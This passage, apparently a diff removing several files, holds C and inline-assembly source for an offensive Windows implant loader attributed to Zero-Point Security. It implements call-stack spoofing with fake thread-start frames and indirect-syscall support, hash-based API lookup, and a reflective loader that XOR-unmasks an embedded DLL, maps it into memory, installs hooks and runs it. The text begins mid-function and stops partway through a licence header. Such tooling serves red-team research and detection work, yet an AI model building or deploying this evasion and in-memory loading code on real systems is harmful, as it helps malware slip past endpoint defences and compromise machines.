draugrParameters.RtlUserThreadStartReturnAddress = returnAddress;
|
||||
|
||||
if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
* Ensure that the gadget stack size is bigger than 0x80, which is min
|
||||
* required to hold 10 arguments, otherwise it will crash sporadically.
|
||||
*/
|
||||
|
||||
do {
|
||||
draugrParameters.Trampoline = findGadget(g_stackFrame.pGadget);
|
||||
draugrParameters.TrampolineStackSize = calculateFunctionStackSizeWrapper(draugrParameters.Trampoline);
|
||||
|
||||
attempts++;
|
||||
|
||||
// quick sanity check for infinite loop
|
||||
if (attempts > 15) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
} while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80));
|
||||
|
||||
if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
// make the call!
|
||||
return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12);
|
||||
}
|
||||
|
||||
ULONG_PTR draugr(PFUNCTION_CALL functionCall)
|
||||
{
|
||||
/* very inelegant */
|
||||
if (functionCall->argc == 0) {
|
||||
return draugrWrapper(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 1) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 2) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 3) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 4) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 5) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 6) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 7) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 8) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 9) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 10) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL);
|
||||
} else if (functionCall->argc == 11) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL);
|
||||
} else if (functionCall->argc == 12) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), (PVOID)draugrArg(11));
|
||||
}
|
||||
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
@@ -1,250 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "loader.h"
|
||||
#include "tp.h"
|
||||
#include "proxy.h"
|
||||
|
||||
#define WIN32_FUNC( x ) __typeof__( x ) * x
|
||||
|
||||
typedef struct {
|
||||
WIN32_FUNC(LoadLibraryA);
|
||||
WIN32_FUNC(GetProcAddress);
|
||||
DRAUGR Draugr;
|
||||
} WIN32FUNCS;
|
||||
|
||||
void go();
|
||||
|
||||
char _DRAUGR_[0] __attribute__((section("draugr")));
|
||||
char _HOOKS_[0] __attribute__((section("hooks")));
|
||||
char _DLL_[0] __attribute__((section("dll")));
|
||||
char _KEY_[0] __attribute__((section("key")));
|
||||
|
||||
void * AllocateVirtualMemory(SIZE_T size, ULONG protect)
|
||||
{
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
|
||||
void * baseAddress = NULL;
|
||||
|
||||
args.functionPtr = (ULONG_PTR)(NTDLL$NtAllocateVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(0);
|
||||
args.argument4 = (ULONG_PTR)(&size);
|
||||
args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE);
|
||||
args.argument6 = (ULONG_PTR)(protect);
|
||||
|
||||
ProxyNtApi(&args);
|
||||
|
||||
return baseAddress;
|
||||
}
|
||||
|
||||
void ProtectVirtualMemory(void * baseAddress, SIZE_T size, ULONG newProtect)
|
||||
{
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
|
||||
ULONG oldProtect = 0;
|
||||
|
||||
args.functionPtr = (ULONG_PTR)(NTDLL$NtProtectVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(&size);
|
||||
args.argument4 = (ULONG_PTR)(newProtect);
|
||||
args.argument5 = (ULONG_PTR)(&oldProtect);
|
||||
|
||||
ProxyNtApi(&args);
|
||||
}
|
||||
|
||||
void FreeVirtualMemory(void * baseAddress)
|
||||
{
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
|
||||
SIZE_T size = 0;
|
||||
|
||||
args.functionPtr = (ULONG_PTR)(NTDLL$NtFreeVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(&size);
|
||||
args.argument4 = (ULONG_PTR)(MEM_RELEASE);
|
||||
|
||||
ProxyNtApi(&args);
|
||||
}
|
||||
|
||||
void FixSectionPermissions(DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region, RDATA_SECTION * rdata)
|
||||
{
|
||||
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * sectionHdr = NULL;
|
||||
void * sectionDst = NULL;
|
||||
DWORD sectionSize = 0;
|
||||
DWORD newProtect = 0;
|
||||
|
||||
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (int i = 0; i < numberOfSections; i++)
|
||||
{
|
||||
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||
sectionSize = sectionHdr->SizeOfRawData;
|
||||
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
|
||||
newProtect = PAGE_WRITECOPY;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
|
||||
newProtect = PAGE_READONLY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
|
||||
newProtect = PAGE_READWRITE;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
newProtect = PAGE_EXECUTE;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
|
||||
newProtect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
/* set new permission */
|
||||
ProtectVirtualMemory(sectionDst, sectionSize, newProtect);
|
||||
|
||||
/* track memory */
|
||||
region->sections[i].baseAddress = sectionDst;
|
||||
region->sections[i].size = sectionSize;
|
||||
region->sections[i].currentProtect = newProtect;
|
||||
region->sections[i].previousProtect = newProtect;
|
||||
|
||||
if (MSVCRT$strncmp((char *)sectionHdr->Name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0)
|
||||
{
|
||||
rdata->start = sectionDst;
|
||||
rdata->length = sectionSize;
|
||||
rdata->offset = dll->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size;
|
||||
}
|
||||
|
||||
/* advance to our next section */
|
||||
sectionHdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void go(void * loaderArgument)
|
||||
{
|
||||
WIN32FUNCS funcs;
|
||||
memset(&funcs, 0, sizeof(WIN32FUNCS));
|
||||
|
||||
/* set funcs */
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
|
||||
MEMORY_LAYOUT layout;
|
||||
memset(&layout, 0, sizeof(MEMORY_LAYOUT));
|
||||
|
||||
/* get draugr pic */
|
||||
RESOURCE * draugr = (RESOURCE *)GETRESOURCE(_DRAUGR_);
|
||||
|
||||
/* load it into memory */
|
||||
char * pic = AllocateVirtualMemory(draugr->length, PAGE_READWRITE);
|
||||
memcpy(pic, draugr->value, draugr->length);
|
||||
ProtectVirtualMemory(pic, draugr->length, PAGE_EXECUTE_READ);
|
||||
|
||||
layout.pic.baseAddress = pic;
|
||||
layout.pic.size = draugr->length;
|
||||
|
||||
funcs.Draugr = (DRAUGR)(pic);
|
||||
|
||||
/* get hooking pico */
|
||||
char * hooks = GETRESOURCE(_HOOKS_);
|
||||
|
||||
/* load it into memory */
|
||||
PICO * pico = (PICO *)AllocateVirtualMemory(sizeof(PICO), PAGE_READWRITE);
|
||||
PicoLoad((IMPORTFUNCS *)&funcs, hooks, pico->code, pico->data);
|
||||
ProtectVirtualMemory(pico->code, PicoCodeSize(hooks), PAGE_EXECUTE_READ);
|
||||
|
||||
/* record layout */
|
||||
layout.hooks.baseAddress = (char *)(pico);
|
||||
layout.hooks.size = sizeof(PICO);
|
||||
layout.hooks.sections[0].baseAddress = pico->data;
|
||||
layout.hooks.sections[0].size = PicoDataSize(hooks);
|
||||
layout.hooks.sections[0].currentProtect = PAGE_READWRITE;
|
||||
layout.hooks.sections[0].previousProtect = PAGE_READWRITE;
|
||||
layout.hooks.sections[1].baseAddress = pico->code;
|
||||
layout.hooks.sections[1].size = PicoCodeSize(hooks);
|
||||
layout.hooks.sections[1].currentProtect = PAGE_EXECUTE_READ;
|
||||
layout.hooks.sections[1].previousProtect = PAGE_EXECUTE_READ;
|
||||
|
||||
/* get pico entry point */
|
||||
PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hooks, pico->code);
|
||||
|
||||
/* call it to install the hooks */
|
||||
picoEntry((IMPORTFUNCS *)&funcs, &layout);
|
||||
|
||||
/* get the masked dll and key */
|
||||
RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_);
|
||||
RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_);
|
||||
|
||||
/* unmask the dll into memory */
|
||||
char * src = AllocateVirtualMemory(dll->length, PAGE_READWRITE);
|
||||
for (int i = 0; i < dll->length; i++) {
|
||||
src[i] = dll->value[i] ^ key->value[i % key->length];
|
||||
}
|
||||
|
||||
/* parse dll header */
|
||||
DLLDATA data;
|
||||
ParseDLL(src, &data);
|
||||
|
||||
/* loader it into memory */
|
||||
char * dst = AllocateVirtualMemory(SizeOfDLL(&data), PAGE_READWRITE);
|
||||
|
||||
LoadDLL(&data, src, dst);
|
||||
ProcessImports((IMPORTFUNCS *)&funcs, &data, dst);
|
||||
|
||||
layout.dll.baseAddress = dst;
|
||||
layout.dll.size = SizeOfDLL(&data);
|
||||
|
||||
RDATA_SECTION rdata;
|
||||
memset(&rdata, 0, sizeof(RDATA_SECTION));
|
||||
FixSectionPermissions(&data, src, dst, &layout.dll, &rdata);
|
||||
|
||||
/* call hook pico again to provide the updated memory layout */
|
||||
picoEntry((IMPORTFUNCS *)&funcs, &layout);
|
||||
|
||||
/* get entry point */
|
||||
DLLMAIN_FUNC dllMain = EntryPoint(&data, dst);
|
||||
|
||||
/* free unmasked copy */
|
||||
FreeVirtualMemory(src);
|
||||
|
||||
/* call entry point */
|
||||
dllMain((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);
|
||||
dllMain((HINSTANCE)GETRESOURCE(go), 0x4, loaderArgument);
|
||||
}
|
||||
@@ -1,69 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
|
||||
#define GETRESOURCE(x) (char *)&x
|
||||
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
|
||||
|
||||
#define GETRESOURCE(x) (char *)&x
|
||||
|
||||
__typeof__(GetModuleHandleA) * pGetModuleHandle __attribute__((section(".text")));
|
||||
__typeof__(GetProcAddress) * pGetProcAddress __attribute__((section(".text")));
|
||||
|
||||
typedef struct {
|
||||
int length;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
|
||||
typedef struct {
|
||||
char * start;
|
||||
DWORD length;
|
||||
DWORD offset;
|
||||
} RDATA_SECTION;
|
||||
|
||||
typedef struct {
|
||||
char data[4096];
|
||||
char code[16384];
|
||||
} PICO;
|
||||
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtAllocateVirtualMemory (HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtProtectVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtFreeVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG);
|
||||
DECLSPEC_IMPORT int WINAPIV MSVCRT$strncmp (const char * string1, const char * string2, size_t count);
|
||||
|
||||
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS *, MEMORY_LAYOUT *);
|
||||
|
||||
char * resolve(DWORD modHash, DWORD funcHash) {
|
||||
char * hModule = (char *)findModuleByHash(modHash);
|
||||
return findFunctionByHash(hModule, funcHash);
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct {
|
||||
void * baseAddress;
|
||||
SIZE_T size;
|
||||
DWORD currentProtect;
|
||||
DWORD previousProtect;
|
||||
} MEMORY_SECTION;
|
||||
|
||||
typedef struct {
|
||||
void * baseAddress;
|
||||
SIZE_T size;
|
||||
MEMORY_SECTION sections[5];
|
||||
} MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
MEMORY_REGION pic;
|
||||
MEMORY_REGION hooks;
|
||||
MEMORY_REGION dll;
|
||||
} MEMORY_LAYOUT;
|
||||
@@ -1,122 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
void * __attribute__((naked)) SpoofStub()
|
||||
{
|
||||
__asm__ __volatile__ (
|
||||
".intel_syntax noprefix;"
|
||||
"pop rax;" // Real return address in rax
|
||||
"mov r10, rdi;" // Store OG rdi in r10
|
||||
"mov r11, rsi;" // Store OG rsi in r11
|
||||
"mov rdi, [rsp + 32];" // Storing struct in rdi
|
||||
"mov rsi, [rsp + 40];" // Storing function to call
|
||||
|
||||
// Storing our original registers
|
||||
"mov [rdi + 24], r10;" // Storing OG rdi into param
|
||||
"mov [rdi + 88], r11;" // Storing OG rsi into param
|
||||
"mov [rdi + 96], r12;" // Storing OG r12 into param
|
||||
"mov [rdi + 104], r13;" // Storing OG r13 into param
|
||||
"mov [rdi + 112], r14;" // Storing OG r14 into param
|
||||
"mov [rdi + 120], r15;" // Storing OG r15 into param
|
||||
"mov r12, rax;" // OG code used r12 for ret addr
|
||||
|
||||
// Prepping to move stack args
|
||||
"xor r11, r11;" // r11 will hold the # of args that have been pushed
|
||||
"mov r13, [rsp + 0x30];" // r13 will hold the # of args total that will be pushed
|
||||
"mov r14, 0x200;" // r14 will hold the offset we need to push stuff
|
||||
"add r14, 8;"
|
||||
"add r14, [rdi + 56];" // stack size of RtlUserStartThread
|
||||
"add r14, [rdi + 48];" // stack size of BaseInitThreadThunk
|
||||
"add r14, [rdi + 32];" // stack size of our gadget frame
|
||||
"sub r14, 0x20;" // first stack arg is located at + 0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time.
|
||||
"mov r10, rsp;"
|
||||
"add r10, 0x30;" // offset of stack arg added to rsp
|
||||
"looping:;"
|
||||
"xor r15, r15;" // r15 will hold the offset + rsp base
|
||||
"cmp r11d, r13d;" // comparing # of stack args added vs # of stack args we need to add
|
||||
"je finish;"
|
||||
|
||||
// Getting location to move the stack arg to
|
||||
"sub r14, 8;" // 1 arg means r11 is 0, r14 already 0x28 offset.
|
||||
"mov r15, rsp;" // get current stack base
|
||||
"sub r15, r14;" // subtract offset
|
||||
|
||||
// Procuring the stack arg
|
||||
"add r10, 8;"
|
||||
"push qword ptr [r10];"
|
||||
"pop qword ptr [r15];"
|
||||
|
||||
// Increment the counter and loop back in case we need more args
|
||||
"add r11, 1;"
|
||||
"jmp looping;"
|
||||
"finish:;"
|
||||
"sub rsp, 0x200;" // Creating a large 320 byte frame for our fake call stack
|
||||
"push 0;" // Pushing a 0 to cut off the return addresses after RtlUserThreadStart
|
||||
"sub rsp, [rdi + 56];" // RtlUserThreadStart + offset frame
|
||||
"mov r11, [rdi + 64];"
|
||||
"mov [rsp], r11;"
|
||||
"sub rsp, [rdi + 32];" // BaseThreadInitThunk + offset frame
|
||||
"mov r11, [rdi + 40];"
|
||||
"mov [rsp], r11;"
|
||||
"sub rsp, [rdi + 48];" // Gadget frame
|
||||
"mov r11, [rdi + 80];"
|
||||
"mov [rsp], r11;"
|
||||
// Adjusting the param struct for the fixup
|
||||
"mov r11, rsi;" // Copying function to call into r11
|
||||
"mov [rdi + 8], r12;" // Real return address is now moved into the "OriginalReturnAddress" member
|
||||
"mov [rdi + 16], rbx;" // original rbx is stored into "Rbx" member
|
||||
"lea rbx, [rip + fixup];" // Fixup address is moved into rbx
|
||||
"mov [rdi], rbx;" // Fixup member now holds the address of Fixup
|
||||
"mov rbx, rdi;" // Address of param struct (Fixup)is moved into rbx
|
||||
|
||||
// For indirect syscall use. If you want to use it, make sure to set ssn
|
||||
// in param struct first.Otherwise, this is ignored by the callee.
|
||||
"mov r10, rcx;"
|
||||
"mov rax, [rdi + 72];"
|
||||
"jmp r11;"
|
||||
"fixup:;"
|
||||
"mov rcx, rbx;"
|
||||
"add rsp, 0x200;" // Remove our large frame
|
||||
"add rsp, [rbx + 48];" // Adjust back for our gadget frame
|
||||
"add rsp, [rbx + 32];" // Adjust back for our BaseThreadInitThunk frame
|
||||
"add rsp, [rbx + 56];" // Adjust back for our RtlUserThreadStart frame
|
||||
"mov rbx, [rcx + 16];" // Restoring OG RBX
|
||||
"mov rdi, [rcx + 24];" // Restoring OG rdi
|
||||
"mov rsi, [rcx + 88];" // Restoring OG rsi
|
||||
"mov r12, [rcx + 96];" // Restoring OG r12
|
||||
"mov r13, [rcx + 104];" // Restoring OG r13
|
||||
"mov r14, [rcx + 112];" // Restoring OG r14
|
||||
"mov r15, [rcx + 120];" // Restoring OG r15
|
||||
"push rax;"
|
||||
"xor rax, rax;"
|
||||
"pop rax;"
|
||||
"jmp qword ptr [rcx + 8];"
|
||||
|
||||
".att_syntax prefix"
|
||||
);
|
||||
}
|
||||
@@ -1,50 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
